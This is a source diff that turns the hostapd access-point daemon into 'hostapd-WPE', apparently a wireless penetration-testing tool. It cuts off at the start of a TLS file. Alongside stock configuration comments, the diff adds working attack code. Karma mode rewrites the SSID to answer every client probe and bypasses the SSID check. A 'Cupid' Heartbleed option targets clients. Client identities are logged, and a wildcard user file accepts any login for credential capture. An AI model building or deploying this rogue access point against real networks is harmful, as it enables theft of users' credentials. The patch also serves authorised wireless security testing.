-+# Enable Interworking service
-+#interworking=1
-+
-+# Access Network Type
-+# 0 = Private network
-+# 1 = Private network with guest access
-+# 2 = Chargeable public network
-+# 3 = Free public network
-+# 4 = Personal device network
-+# 5 = Emergency services only network
-+# 14 = Test or experimental
-+# 15 = Wildcard
-+#access_network_type=0
-+
-+# Whether the network provides connectivity to the Internet
-+# 0 = Unspecified
-+# 1 = Network provides connectivity to the Internet
-+#internet=1
-+
-+# Additional Step Required for Access
-+# Note: This is only used with open network, i.e., ASRA shall ne set to 0 if
-+# RSN is used.
-+#asra=0
-+
-+# Emergency services reachable
-+#esr=0
-+
-+# Unauthenticated emergency service accessible
-+#uesa=0
-+
-+# Venue Info (optional)
-+# The available values are defined in IEEE Std 802.11u-2011, 7.3.1.34.
-+# Example values (group,type):
-+# 0,0 = Unspecified
-+# 1,7 = Convention Center
-+# 1,13 = Coffee Shop
-+# 2,0 = Unspecified Business
-+# 7,1  Private Residence
-+#venue_group=7
-+#venue_type=1
-+
-+# Homogeneous ESS identifier (optional; dot11HESSID)
-+# If set, this shall be identifical to one of the BSSIDs in the homogeneous
-+# ESS and this shall be set to the same value across all BSSs in homogeneous
-+# ESS.
-+#hessid=02:03:04:05:06:07
-+
-+# Roaming Consortium List
-+# Arbitrary number of Roaming Consortium OIs can be configured with each line
-+# adding a new OI to the list. The first three entries are available through
-+# Beacon and Probe Response frames. Any additional entry will be available only
-+# through ANQP queries. Each OI is between 3 and 15 octets and is configured as
-+# a hexstring.
-+#roaming_consortium=021122
-+#roaming_consortium=2233445566
-+
-+# Venue Name information
-+# This parameter can be used to configure one or more Venue Name Duples for
-+# Venue Name ANQP information. Each entry has a two or three character language
-+# code (ISO-639) separated by colon from the venue name string.
-+# Note that venue_group and venue_type have to be set for Venue Name
-+# information to be complete.
-+#venue_name=eng:Example venue
-+#venue_name=fin:Esimerkkipaikka
-+# Alternative format for language:value strings:
-+# (double quoted string, printf-escaped string)
-+#venue_name=P"eng:Example\nvenue"
-+
-+# Network Authentication Type
-+# This parameter indicates what type of network authentication is used in the
-+# network.
-+# format: <network auth type indicator (1-octet hex str)> redirect URL
-+# Network Authentication Type Indicator values:
-+# 00 = Acceptance of terms and conditions
-+# 01 = On-line enrollment supported
-+# 02 = http/https redirection
-+# 03 = DNS redirection
-+#network_auth_type=00
-+#network_auth_type=02http://www.example.com/redirect/me/here/
-+
-+# IP Address Type Availability
-+# format: <1-octet encoded value as hex str>
-+# (ipv4_type & 0x3f) << 2 | (ipv6_type & 0x3)
-+# ipv4_type:
-+# 0 = Address type not available
-+# 1 = Public IPv4 address available
-+# 2 = Port-restricted IPv4 address available
-+# 3 = Single NATed private IPv4 address available
-+# 4 = Double NATed private IPv4 address available
-+# 5 = Port-restricted IPv4 address and single NATed IPv4 address available
-+# 6 = Port-restricted IPv4 address and double NATed IPv4 address available
-+# 7 = Availability of the address type is not known
-+# ipv6_type:
-+# 0 = Address type not available
-+# 1 = Address type available
-+# 2 = Availability of the address type not known
-+#ipaddr_type_availability=14
-+
-+# Domain Name
-+# format: <variable-octet str>,<variable-octet str>
-+#domain_name=example.com,another.example.com,yet-another.example.com
-+
-+# 3GPP Cellular Network information
-+# format: <MCC1,MNC1>;<MCC2,MNC2>;...
-+#anqp_3gpp_cell_net=244,91;310,026;234,56
-+
-+# NAI Realm information
-+# One or more realm can be advertised. Each nai_realm line adds a new realm to
-+# the set. These parameters provide information for stations using Interworking
-+# network selection to allow automatic connection to a network based on
-+# credentials.
-+# format: <encoding>,<NAI Realm(s)>,<EAP Method 1>,<EAP Method 2>,...
-+# encoding:
-+#	0 = Realm formatted in accordance with IETF RFC 4282
-+#	1 = UTF-8 formatted character string that is not formatted in
-+#	    accordance with IETF RFC 4282
-+# NAI Realm(s): Semi-colon delimited NAI Realm(s)
-+# EAP Method: <EAP Method>:<AuthParam1:Val1><AuthParam2:Val2>...
-+# EAP Method types, see:
-+# http://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-4
-+# AuthParam (Table 8-188 in IEEE Std 802.11-2012):
-+# ID 2 = Non-EAP Inner Authentication Type
-+#	1 = PAP, 2 = CHAP, 3 = MSCHAP, 4 = MSCHAPV2
-+# ID 3 = Inner authentication EAP Method Type
-+# ID 5 = Credential Type
-+#	1 = SIM, 2 = USIM, 3 = NFC Secure Element, 4 = Hardware Token,
-+#	5 = Softoken, 6 = Certificate, 7 = username/password, 9 = Anonymous,
-+#	10 = Vendor Specific
-+#nai_realm=0,example.com;example.net
-+# EAP methods EAP-TLS with certificate and EAP-TTLS/MSCHAPv2 with
-+# username/password
-+#nai_realm=0,example.org,135:6,212:45:7
-+
-+# Arbitrary ANQP-element configuration
-+# Additional ANQP-elements with arbitrary values can be defined by specifying
-+# their contents in raw format as a hexdump of the payload. Note that these
-+# values will override ANQP-element contents that may have been specified in the
-+# more higher layer configuration parameters listed above.
-+# format: anqp_elem=<InfoID>:<hexdump of payload>
-+# For example, AP Geospatial Location ANQP-element with unknown location:
-+#anqp_elem=265:0000
-+# For example, AP Civic Location ANQP-element with unknown location:
-+#anqp_elem=266:000000
-+
-+# GAS Address 3 behavior
-+# 0 = P2P specification (Address3 = AP BSSID) workaround enabled by default
-+#     based on GAS request Address3
-+# 1 = IEEE 802.11 standard compliant regardless of GAS request Address3
-+# 2 = Force non-compliant behavior (Address3 = AP BSSID for all cases)
-+#gas_address3=0
-+
-+# QoS Map Set configuration
-+#
-+# Comma delimited QoS Map Set in decimal values
-+# (see IEEE Std 802.11-2012, 8.4.2.97)
-+#
-+# format:
-+# <DSCP ExceptionsDSCP,UP>,<UP 0 rangelow,high>,...<UP 7 rangelow,high>
-+#
-+# There can be up to 21 optional DSCP Exceptions which are pairs of DSCP Value
-+# (0..63 or 255) and User Priority (0..7). This is followed by eight DSCP Range
-+# descriptions with DSCP Low Value and DSCP High Value pairs (0..63 or 255) for
-+# each UP starting from 0. If both low and high value are set to 255, the
-+# corresponding UP is not used.
-+#
-+# default: not set
-+#qos_map_set=53,2,22,6,8,15,0,7,255,255,16,31,32,39,255,255,40,47,255,255
-+
-+##### Hotspot 2.0 #############################################################
-+
-+# Enable Hotspot 2.0 support
-+#hs20=1
-+
-+# Disable Downstream Group-Addressed Forwarding (DGAF)
-+# This can be used to configure a network where no group-addressed frames are
-+# allowed. The AP will not forward any group-address frames to the stations and
-+# random GTKs are issued for each station to prevent associated stations from
-+# forging such frames to other stations in the BSS.
-+#disable_dgaf=1
-+
-+# OSU Server-Only Authenticated L2 Encryption Network
-+#osen=1
-+
-+# ANQP Domain ID (0..65535)
-+# An identifier for a set of APs in an ESS that share the same common ANQP
-+# information. 0 = Some of the ANQP information is unique to this AP (default).
-+#anqp_domain_id=1234
-+
-+# Deauthentication request timeout
-+# If the RADIUS server indicates that the station is not allowed to connect to
-+# the BSS/ESS, the AP can allow the station some time to download a
-+# notification page (URL included in the message). This parameter sets that
-+# timeout in seconds.
-+#hs20_deauth_req_timeout=60
-+
-+# Operator Friendly Name
-+# This parameter can be used to configure one or more Operator Friendly Name
-+# Duples. Each entry has a two or three character language code (ISO-639)
-+# separated by colon from the operator friendly name string.
-+#hs20_oper_friendly_name=eng:Example operator
-+#hs20_oper_friendly_name=fin:Esimerkkioperaattori
-+
-+# Connection Capability
-+# This can be used to advertise what type of IP traffic can be sent through the
-+# hotspot (e.g., due to firewall allowing/blocking protocols/ports).
-+# format: <IP Protocol>:<Port Number>:<Status>
-+# IP Protocol: 1 = ICMP, 6 = TCP, 17 = UDP
-+# Port Number: 0..65535
-+# Status: 0 = Closed, 1 = Open, 2 = Unknown
-+# Each hs20_conn_capab line is added to the list of advertised tuples.
-+#hs20_conn_capab=1:0:2
-+#hs20_conn_capab=6:22:1
-+#hs20_conn_capab=17:5060:0
-+
-+# WAN Metrics
-+# format: <WAN Info>:<DL Speed>:<UL Speed>:<DL Load>:<UL Load>:<LMD>
-+# WAN Info: B0-B1: Link Status, B2: Symmetric Link, B3: At Capabity
-+#    (encoded as two hex digits)
-+#    Link Status: 1 = Link up, 2 = Link down, 3 = Link in test state
-+# Downlink Speed: Estimate of WAN backhaul link current downlink speed in kbps;
-+#	1..4294967295; 0 = unknown
-+# Uplink Speed: Estimate of WAN backhaul link current uplink speed in kbps
-+#	1..4294967295; 0 = unknown
-+# Downlink Load: Current load of downlink WAN connection (scaled to 255 = 100%)
-+# Uplink Load: Current load of uplink WAN connection (scaled to 255 = 100%)
-+# Load Measurement Duration: Duration for measuring downlink/uplink load in
-+# tenths of a second (1..65535); 0 if load cannot be determined
-+#hs20_wan_metrics=01:8000:1000:80:240:3000
-+
-+# Operating Class Indication
-+# List of operating classes the BSSes in this ESS use. The Global operating
-+# classes in Table E-4 of IEEE Std 802.11-2012 Annex E define the values that
-+# can be used in this.
-+# format: hexdump of operating class octets
-+# for example, operating classes 81 (2.4 GHz channels 1-13) and 115 (5 GHz
-+# channels 36-48):
-+#hs20_operating_class=5173
-+
-+# OSU icons
-+# <Icon Width>:<Icon Height>:<Language code>:<Icon Type>:<Name>:<file path>
-+#hs20_icon=32:32:eng:image/png:icon32:/tmp/icon32.png
-+#hs20_icon=64:64:eng:image/png:icon64:/tmp/icon64.png
-+
-+# OSU SSID (see ssid2 for format description)
-+# This is the SSID used for all OSU connections to all the listed OSU Providers.
-+#osu_ssid="example"
-+
-+# OSU Providers
-+# One or more sets of following parameter. Each OSU provider is started by the
-+# mandatory osu_server_uri item. The other parameters add information for the
-+# last added OSU provider.
-+#
-+#osu_server_uri=https://example.com/osu/
-+#osu_friendly_name=eng:Example operator
-+#osu_friendly_name=fin:Esimerkkipalveluntarjoaja
-+#osu_nai=anonymous@example.com
-+#osu_method_list=1 0
-+#osu_icon=icon32
-+#osu_icon=icon64
-+#osu_service_desc=eng:Example services
-+#osu_service_desc=fin:Esimerkkipalveluja
-+#
-+#osu_server_uri=...
-+
-+##### Fast Session Transfer (FST) support #####################################
-+#
-+# The options in this section are only available when the build configuration
-+# option CONFIG_FST is set while compiling hostapd. They allow this interface
-+# to be a part of FST setup.
-+#
-+# FST is the transfer of a session from a channel to another channel, in the
-+# same or different frequency bands.
-+#
-+# For detals, see IEEE Std 802.11ad-2012.
-+
-+# Identifier of an FST Group the interface belongs to.
-+#fst_group_id=bond0
-+
-+# Interface priority within the FST Group.
-+# Announcing a higher priority for an interface means declaring it more
-+# preferable for FST switch.
-+# fst_priority is in 1..255 range with 1 being the lowest priority.
-+#fst_priority=100
-+
-+# Default LLT value for this interface in milliseconds. The value used in case
-+# no value provided during session setup. Default is 50 ms.
-+# fst_llt is in 1..4294967 range (due to spec limitation, see 10.32.2.2
-+# Transitioning between states).
-+#fst_llt=100
-+
-+##### Radio measurements / location ###########################################
-+
-+# The content of a LCI measurement subelement
-+#lci=<Hexdump of binary data of the LCI report>
-+
-+# The content of a location civic measurement subelement
-+#civic=<Hexdump of binary data of the location civic report>
-+
-+# Enable neighbor report via radio measurements
-+#rrm_neighbor_report=1
-+
-+# Publish fine timing measurement (FTM) responder functionality
-+# This parameter only controls publishing via Extended Capabilities element.
-+# Actual functionality is managed outside hostapd.
-+#ftm_responder=0
-+
-+# Publish fine timing measurement (FTM) initiator functionality
-+# This parameter only controls publishing via Extended Capabilities element.
-+# Actual functionality is managed outside hostapd.
-+#ftm_initiator=0
-+
-+##### TESTING OPTIONS #########################################################
-+#
-+# The options in this section are only available when the build configuration
-+# option CONFIG_TESTING_OPTIONS is set while compiling hostapd. They allow
-+# testing some scenarios that are otherwise difficult to reproduce.
-+#
-+# Ignore probe requests sent to hostapd with the given probability, must be a
-+# floating point number in the range 0, 1).
-+#ignore_probe_probability=0.0
-+#
-+# Ignore authentication frames with the given probability
-+#ignore_auth_probability=0.0
-+#
-+# Ignore association requests with the given probability
-+#ignore_assoc_probability=0.0
-+#
-+# Ignore reassociation requests with the given probability
-+#ignore_reassoc_probability=0.0
-+#
-+# Corrupt Key MIC in GTK rekey EAPOL-Key frames with the given probability
-+#corrupt_gtk_rekey_mic_probability=0.0
-+#
-+# Include only ECSA IE without CSA IE where possible
-+# (channel switch operating class is needed)
-+#ecsa_ie_only=0
-+
-+##### Multiple BSSID support ##################################################
-+#
-+# Above configuration is using the default interface (wlan#, or multi-SSID VLAN
-+# interfaces). Other BSSIDs can be added by using separator 'bss' with
-+# default interface name to be allocated for the data packets of the new BSS.
-+#
-+# hostapd will generate BSSID mask based on the BSSIDs that are
-+# configured. hostapd will verify that dev_addr & MASK == dev_addr. If this is
-+# not the case, the MAC address of the radio must be changed before starting
-+# hostapd (ifconfig wlan0 hw ether <MAC addr>). If a BSSID is configured for
-+# every secondary BSS, this limitation is not applied at hostapd and other
-+# masks may be used if the driver supports them (e.g., swap the locally
-+# administered bit)
-+#
-+# BSSIDs are assigned in order to each BSS, unless an explicit BSSID is
-+# specified using the 'bssid' parameter.
-+# If an explicit BSSID is specified, it must be chosen such that it:
-+# - results in a valid MASK that covers it and the dev_addr
-+# - is not the same as the MAC address of the radio
-+# - is not the same as any other explicitly specified BSSID
-+#
-+# Alternatively, the 'use_driver_iface_addr' parameter can be used to request
-+# hostapd to use the driver auto-generated interface address (e.g., to use the
-+# exact MAC addresses allocated to the device).
-+#
-+# Not all drivers support multiple BSSes. The exact mechanism for determining
-+# the driver capabilities is driver specific. With the current (i.e., a recent
-+# kernel) drivers using nl80211, this information can be checked with "iw list"
-+# (search for "valid interface combinations").
-+#
-+# Please note that hostapd uses some of the values configured for the first BSS
-+# as the defaults for the following BSSes. However, it is recommended that all
-+# BSSes include explicit configuration of all relevant configuration items.
-+#
-+#bss=wlan0_0
-+#ssid=test2
-+# most of the above items can be used here (apart from radio interface specific
-+# items, like channel)
-+
-+#bss=wlan0_1
-+#bssid=00:13:10:95:fe:0b
-+# ...
-diff -rupN hostapd-2.8/hostapd/hostapd-wpe.eap_user hostapd-2.8-wpe/hostapd/hostapd-wpe.eap_user
---- hostapd-2.8/hostapd/hostapd-wpe.eap_user	1969-12-31 19:00:00.000000000 -0500
-+++ hostapd-2.8-wpe/hostapd/hostapd-wpe.eap_user	2019-04-22 17:02:28.633850096 -0400
-@@ -0,0 +1,107 @@
-+# hostapd user database for integrated EAP server
-+
-+# Each line must contain an identity, EAP method(s), and an optional password
-+# separated with whitespace (space or tab). The identity and password must be
-+# double quoted ("user"). Password can alternatively be stored as
-+# NtPasswordHash (16-byte MD4 hash of the unicode presentation of the password
-+# in unicode) if it is used for MSCHAP or MSCHAPv2 authentication. This means
-+# that the plaintext password does not need to be included in the user file.
-+# Password hash is stored as hash:<16-octets of hex data> without quotation
-+# marks.
-+
-+# 2 flag in the end of the line can be used to mark users for tunneled phase
-+# 2 authentication (e.g., within EAP-PEAP). In these cases, an anonymous
-+# identity can be used in the unencrypted phase 1 and the real user identity
-+# is transmitted only within the encrypted tunnel in phase 2. If non-anonymous
-+# access is needed, two user entries is needed, one for phase 1 and another
-+# with the same username for phase 2.
-+#
-+# EAP-TLS, EAP-PEAP, EAP-TTLS, EAP-FAST, EAP-SIM, and EAP-AKA do not use
-+# password option.
-+# EAP-MD5, EAP-MSCHAPV2, EAP-GTC, EAP-PAX, EAP-PSK, and EAP-SAKE require a
-+# password.
-+# EAP-PEAP, EAP-TTLS, and EAP-FAST require Phase 2 configuration.
-+#
-+# * can be used as a wildcard to match any user identity. The main purposes for
-+# this are to set anonymous phase 1 identity for EAP-PEAP and EAP-TTLS and to
-+# avoid having to configure every certificate for EAP-TLS authentication. The
-+# first matching entry is selected, so * should be used as the last phase 1
-+# user entry.
-+#
-+# "prefix"* can be used to match the given prefix and anything after this. The
-+# main purpose for this is to be able to avoid EAP method negotiation when the
-+# method is using known prefix in identities (e.g., EAP-SIM and EAP-AKA). This
-+# is only allowed for phase 1 identities.
-+#
-+# Multiple methods can be configured to make the authenticator try them one by
-+# one until the peer accepts one. The method names are separated with a
-+# comma (,).
-+#
-+# ver=0 and ver=1 flags after EAP type PEAP can be used to force PEAP
-+# version based on the Phase 1 identity. Without this flag, the EAP
-+# authenticator advertises the highest supported version and select the version
-+# based on the first PEAP packet from the supplicant.
-+#
-+# EAP-TTLS supports both EAP and non-EAP authentication inside the tunnel.
-+# Tunneled EAP methods are configured with standard EAP method name and 2
-+# flag. Non-EAP methods can be enabled by following method names: TTLS-PAP,
-+# TTLS-CHAP, TTLS-MSCHAP, TTLS-MSCHAPV2. TTLS-PAP and TTLS-CHAP require a
-+# plaintext password while TTLS-MSCHAP and TTLS-MSCHAPV2 can use NT password
-+# hash.
-+#
-+# Arbitrary RADIUS attributes can be added into Access-Accept packets similarly
-+# to the way radius_auth_req_attr is used for Access-Request packet in
-+# hostapd.conf. For EAP server, this is configured separately for each user
-+# entry with radius_accept_attr=<value> line(s) following the main user entry
-+# line.
-+
-+# Phase 1 users
-+#"user"		MD5	"password"
-+#"test user"	MD5	"secret"
-+#"example user"	TLS
-+#"DOMAIN\user"	MSCHAPV2	"password"
-+#"gtc user"	GTC	"password"
-+#"pax user"	PAX	"unknown"
-+#"pax.user@example.com"	PAX	0123456789abcdef0123456789abcdef
-+#"psk user"	PSK	"unknown"
-+#"psk.user@example.com"	PSK	0123456789abcdef0123456789abcdef
-+#"sake.user@example.com"	SAKE	0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef
-+#"ttls"		TTLS
-+#"not anonymous"	PEAP
-+# Default to EAP-SIM and EAP-AKA based on fixed identity prefixes
-+#"0"*		AKA,TTLS,TLS,PEAP,SIM
-+#"1"*		SIM,TTLS,TLS,PEAP,AKA
-+#"2"*		AKA,TTLS,TLS,PEAP,SIM
-+#"3"*		SIM,TTLS,TLS,PEAP,AKA
-+#"4"*		AKA,TTLS,TLS,PEAP,SIM
-+#"5"*		SIM,TTLS,TLS,PEAP,AKA
-+#"6"*		AKA'
-+#"7"*		AKA'
-+#"8"*		AKA'
-+
-+# Wildcard for all other identities
-+#*		PEAP,TTLS,TLS,SIM,AKA
-+
-+# Phase 2 (tunnelled within EAP-PEAP or EAP-TTLS) users
-+#"t-md5"		MD5	"password"	2
-+#"DOMAIN\t-mschapv2"	MSCHAPV2	"password"	2
-+#"t-gtc"		GTC	"password"	2
-+#"not anonymous"	MSCHAPV2	"password"	2
-+#"user"		MD5,GTC,MSCHAPV2	"password"	2
-+#"test user"	MSCHAPV2	hash:000102030405060708090a0b0c0d0e0f	2
-+#"ttls-user"	TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,TTLS-MSCHAPV2	"password"	2
-+
-+# Default to EAP-SIM and EAP-AKA based on fixed identity prefixes in phase 2
-+#"0"*		AKA	2
-+#"1"*		SIM	2
-+#"2"*		AKA	2
-+#"3"*		SIM	2
-+#"4"*		AKA	2
-+#"5"*		SIM	2
-+#"6"*		AKA'	2
-+#"7"*		AKA'	2
-+#"8"*		AKA'	2
-+
-+# WPE - DO NOT REMOVE - These entries are specifically in here 
-+*		PEAP,TTLS,TLS,FAST
-+"t"	    TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2  "t"	2
-diff -rupN hostapd-2.8/hostapd/main.c hostapd-2.8-wpe/hostapd/main.c
---- hostapd-2.8/hostapd/main.c	2019-04-21 03:10:22.000000000 -0400
-+++ hostapd-2.8-wpe/hostapd/main.c	2019-04-22 17:02:53.325907872 -0400
-@@ -30,7 +30,7 @@
- #include "config_file.h"
- #include "eap_register.h"
- #include "ctrl_iface.h"
--
-+#include "wpe/wpe.h"
- 
- struct hapd_global {
- 	void **drv_priv;
-@@ -454,11 +454,16 @@ static int hostapd_global_run(struct hap
- static void show_version(void)
- {
- 	fprintf(stderr,
--		"hostapd v" VERSION_STR "\n"
-+		"hostapd-WPE v" VERSION_STR "\n"
- 		"User space daemon for IEEE 802.11 AP management,\n"
- 		"IEEE 802.1X/WPA/WPA2/EAP/RADIUS Authenticator\n"
- 		"Copyright (c) 2002-2019, Jouni Malinen <j@w1.fi> "
--		"and contributors\n");
-+		"and contributors\n"
-+		"-----------------------------------------------------\n"
-+		"WPE (Wireless Pwnage Edition)\n"
-+		"This version has been cleverly modified to target\n"
-+		"wired and wireless users.\n"
-+		"Twitter: @aircrackng\n");
- }
- 
- 
-@@ -467,7 +472,7 @@ static void usage(void)
- 	show_version();
- 	fprintf(stderr,
- 		"\n"
--		"usage: hostapd -hdBKtv -P <PID file> -e <entropy file> "
-+		"usage: hostapd-wpe -hdBKtvskc -P <PID file> -e <entropy file> "
- 		"\\\n"
- 		"         -g <global ctrl_iface> -G <group>\\\n"
- 		"         -i <comma-separated list of interface names>\\\n"
-@@ -495,7 +500,15 @@ static void usage(void)
- #endif /* CONFIG_DEBUG_SYSLOG */
- 		"   -S   start all the interfaces synchronously\n"
- 		"   -t   include timestamps in some debug messages\n"
--		"   -v   show hostapd version\n");
-+		"   -v   show hostapd version\n\n"
-+		"\n"
-+		" WPE Options -------------------\n"
-+		"       (credential logging always enabled)\n"
-+		"   -s   Return Success where possible\n"
-+#if OPENSSL_VERSION_NUMBER  < 0x10100000L
-+		"   -c   Cupid Mode (Heartbleed clients)\n\n"
-+#endif
-+		"   -k   Karma Mode (Respond to all probes)\n\n");
- 
- 	exit(1);
- }
-@@ -678,7 +691,7 @@ int main(int argc, char *argv)
- #endif /* CONFIG_DPP */
- 
- 	for (;;) {
--		c = getopt(argc, argv, "b:Bde:f:hi:KP:sSTtu:vg:G:");
-+		c = getopt(argc, argv, "b:Bde:f:hi:KP:sSTtu:vg:G:kcs");
- 		if (c < 0)
- 			break;
- 		switch (c) {
-@@ -747,6 +760,15 @@ int main(int argc, char *argv)
- 		case 'u':
- 			return gen_uuid(optarg);
- #endif /* CONFIG_WPS */
-+		case 'k':
-+			wpe_conf.wpe_enable_karma++;
-+			break;
-+		case 'c':
-+			wpe_conf.wpe_enable_cupid++;
-+			break;
-+		case 's':
-+			wpe_conf.wpe_enable_return_success++;
-+			break;
- 		case 'i':
- 			if (hostapd_get_interface_names(&if_names,
- 							&if_names_size, optarg))
-diff -rupN hostapd-2.8/hostapd/Makefile hostapd-2.8-wpe/hostapd/Makefile
---- hostapd-2.8/hostapd/Makefile	2019-04-21 03:10:22.000000000 -0400
-+++ hostapd-2.8-wpe/hostapd/Makefile	2019-04-22 17:02:28.633850096 -0400
-@@ -86,6 +86,7 @@ OBJS += ../src/ap/beacon.o
- OBJS += ../src/ap/bss_load.o
- OBJS += ../src/ap/neighbor_db.o
- OBJS += ../src/ap/rrm.o
-+OBJS += ../src/wpe/wpe.o
- 
- OBJS_c = hostapd_cli.o
- OBJS_c += ../src/common/wpa_ctrl.o
-@@ -1239,7 +1240,7 @@ OBJS += ../src/fst/fst_ctrl_iface.o
- endif
- endif
- 
--ALL=hostapd hostapd_cli
-+ALL=hostapd-wpe hostapd-wpe_cli
- 
- all: verify_config $(ALL)
- 
-@@ -1278,6 +1279,15 @@ $(DESTDIR)$(BINDIR)/%: %
- 
- install: $(addprefix $(DESTDIR)$(BINDIR)/,$(ALL))
- 
-+wpe:
-+	install -d $(DESTDIR)/etc/hostapd-wpe
-+	install -m 644 hostapd-wpe.conf hostapd-wpe.eap_user $(DESTDIR)/etc/hostapd-wpe
-+	install -d $(DESTDIR)/etc/hostapd-wpe/certs
-+	install -d $(DESTDIR)/etc/hostapd-wpe/certs/demoCA
-+	install -m 644 certs/demoCA/cacert.pem $(DESTDIR)/etc/hostapd-wpe/certs/demoCA
-+	install -m 755 certs/bootstrap $(DESTDIR)/etc/hostapd-wpe/certs
-+	install -m 644 certs/ca.cnf certs/client.cnf certs/Makefile certs/README certs/README.wpe certs/server.cnf certs/xpextensions $(DESTDIR)/etc/hostapd-wpe/certs
-+
- ../src/drivers/build.hostapd:
- 	@if  -f ../src/drivers/build.wpa_supplicant ; then \
- 		$(MAKE) -C ../src/drivers clean; \
-@@ -1286,15 +1296,15 @@ install: $(addprefix $(DESTDIR)$(BINDIR)
- 
- BCHECK=../src/drivers/build.hostapd
- 
--hostapd: $(BCHECK) $(OBJS)
--	$(Q)$(CC) $(LDFLAGS) -o hostapd $(OBJS) $(LIBS)
-+hostapd-wpe: $(BCHECK) $(OBJS)
-+	$(Q)$(CC) $(LDFLAGS) -o hostapd-wpe $(OBJS) $(LIBS)
- 	@$(E) "  LD " $@
- 
- ifdef CONFIG_WPA_TRACE
- OBJS_c += ../src/utils/trace.o
- endif
--hostapd_cli: $(OBJS_c)
--	$(Q)$(CC) $(LDFLAGS) -o hostapd_cli $(OBJS_c) $(LIBS_c)
-+hostapd-wpe_cli: $(OBJS_c)
-+	$(Q)$(CC) $(LDFLAGS) -o hostapd-wpe_cli $(OBJS_c) $(LIBS_c)
- 	@$(E) "  LD " $@
- 
- NOBJS = nt_password_hash.o ../src/crypto/ms_funcs.o $(SHA1OBJS)
-@@ -1342,7 +1352,7 @@ lcov-html:
- 
- clean:
- 	$(MAKE) -C ../src clean
--	rm -f core *~ *.o hostapd hostapd_cli nt_password_hash hlr_auc_gw
-+	rm -f core *~ *.o hostapd-wpe hostapd-wpe_cli nt_password_hash hlr_auc_gw
- 	rm -f *.d *.gcno *.gcda *.gcov
- 	rm -f lcov.info
- 	rm -rf lcov-html
-diff -rupN hostapd-2.8/src/ap/beacon.c hostapd-2.8-wpe/src/ap/beacon.c
---- hostapd-2.8/src/ap/beacon.c	2019-04-21 03:10:22.000000000 -0400
-+++ hostapd-2.8-wpe/src/ap/beacon.c	2019-04-22 17:02:28.637850106 -0400
-@@ -32,7 +32,7 @@
- #include "dfs.h"
- #include "taxonomy.h"
- #include "ieee802_11_auth.h"
--
-+#include "wpe/wpe.h"
- 
- #ifdef NEED_AP_MLME
- 
-@@ -865,6 +865,13 @@ void handle_probe_req(struct hostapd_dat
- 	}
- #endif /* CONFIG_TAXONOMY */
- 
-+    if (wpe_conf.wpe_enable_karma && elems.ssid_len > 0) {
-+            wpa_printf(MSG_MSGDUMP,"WPE Probe request from " MACSTR ", changing SSID to '%s'", MAC2STR(mgmt->sa), wpa_ssid_txt(elems.ssid, elems.ssid_len));
-+            hostapd_set_ssid(hapd,elems.ssid,elems.ssid_len); 
-+            os_memcpy(&hapd->conf->ssid.ssid,elems.ssid,elems.ssid_len);
-+            hapd->conf->ssid.ssid_len = elems.ssid_len;
-+    } 
-+
- 	res = ssid_match(hapd, elems.ssid, elems.ssid_len,
- 			 elems.ssid_list, elems.ssid_list_len);
- 	if (res == NO_SSID_MATCH) {
-diff -rupN hostapd-2.8/src/ap/ieee802_11.c hostapd-2.8-wpe/src/ap/ieee802_11.c
---- hostapd-2.8/src/ap/ieee802_11.c	2019-04-21 03:10:22.000000000 -0400
-+++ hostapd-2.8-wpe/src/ap/ieee802_11.c	2019-04-22 17:02:28.637850106 -0400
-@@ -52,7 +52,7 @@
- #include "fils_hlp.h"
- #include "dpp_hostapd.h"
- #include "gas_query_ap.h"
--
-+#include "wpe/wpe.h"
- 
- #ifdef CONFIG_FILS
- static struct wpabuf *
-@@ -2475,8 +2475,8 @@ static u16 check_ssid(struct hostapd_dat
- 	if (ssid_ie == NULL)
- 		return WLAN_STATUS_UNSPECIFIED_FAILURE;
- 
--	if (ssid_ie_len != hapd->conf->ssid.ssid_len ||
--	    os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) {
-+	if ((!wpe_conf.wpe_enable_karma) && (ssid_ie_len != hapd->conf->ssid.ssid_len ||
-+	    os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0)) {
- 		hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211,
- 			       HOSTAPD_LEVEL_INFO,
- 			       "Station tried to associate with unknown SSID "
-diff -rupN hostapd-2.8/src/ap/ieee802_1x.c hostapd-2.8-wpe/src/ap/ieee802_1x.c
---- hostapd-2.8/src/ap/ieee802_1x.c	2019-04-21 03:10:22.000000000 -0400
-+++ hostapd-2.8-wpe/src/ap/ieee802_1x.c	2019-04-22 17:02:28.637850106 -0400
-@@ -768,6 +768,9 @@ static void handle_eap_response(struct h
- {
- 	u8 type, *data;
- 	struct eapol_state_machine *sm = sta->eapol_sm;
-+	const u8 *identity;
-+	size_t identity_len;
-+
- 	if (sm == NULL)
- 		return;
- 
-@@ -786,6 +789,16 @@ static void handle_eap_response(struct h
- 		       eap->code, eap->identifier, be_to_host16(eap->length),
- 		       eap_server_get_name(0, type), type);
- 
-+/* Print Response-Identity from STA*/
-+	identity = eap_get_identity(sm->eap, &identity_len);
-+	os_free(sm->identity);
-+	sm->identity = (u8 *) dup_binstr(identity, identity_len);
-+	sm->identity_len = identity_len;
-+	if (identity != NULL) {
-+		hostapd_logger(hapd, sm->addr, HOSTAPD_MODULE_IEEE8021X,
-+		       HOSTAPD_LEVEL_INFO, "Identity received from STA: '%s'", sm->identity);
-+	}
-+
- 	sm->dot1xAuthEapolRespFramesRx++;
- 
- 	wpabuf_free(sm->eap_if->eapRespData);
-diff -rupN hostapd-2.8/src/crypto/ms_funcs.h hostapd-2.8-wpe/src/crypto/ms_funcs.h
---- hostapd-2.8/src/crypto/ms_funcs.h	2019-04-21 03:10:22.000000000 -0400
-+++ hostapd-2.8-wpe/src/crypto/ms_funcs.h	2019-04-22 17:02:28.637850106 -0400
-@@ -9,6 +9,10 @@
- #ifndef MS_FUNCS_H
- #define MS_FUNCS_H
- 
-+int challenge_hash(const u8 *peer_challenge, const u8 *auth_challenge,
-+              const u8 *username, size_t username_len,
-+              u8 *challenge);
-+
- int generate_nt_response(const u8 *auth_challenge, const u8 *peer_challenge,
- 			 const u8 *username, size_t username_len,
- 			 const u8 *password, size_t password_len,
-diff -rupN hostapd-2.8/src/crypto/tls_openssl.c hostapd-2.8-wpe/src/crypto/tls_openssl.c
